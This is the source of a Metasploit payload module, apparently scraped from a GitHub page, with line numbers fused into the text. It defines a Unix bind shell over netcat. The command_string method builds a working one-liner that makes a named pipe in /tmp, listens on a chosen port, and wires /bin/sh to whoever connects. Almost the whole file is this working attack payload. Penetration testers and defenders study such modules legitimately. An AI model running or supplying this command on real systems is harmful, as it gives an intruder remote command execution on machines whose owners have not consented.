Path: blob/master/modules/payloads/singles/cmd/unix/bind_netcat.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via netcat)',16'Description' => 'Listen for a connection and spawn a command shell via netcat',17'Author' => [18'm-1-k-3',19'egypt',20'juan vazquez'21],22'License' => MSF_LICENSE,23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::CommandShell,27'PayloadType' => 'cmd',28'RequiredCmd' => 'netcat',29'Payload' => {30'Offsets' => {},31'Payload' => ''32}33)34)35register_advanced_options(36[37OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),38OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])39]40)41end4243#44# Constructs the payload45#46def generate(_opts = {})47vprint_good(command_string)48return super + command_string49end5051#52# Returns the command string to use for execution53#54def command_string55backpipe = Rex::Text.rand_text_alpha_lower(4..7)56"mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"57end58end596061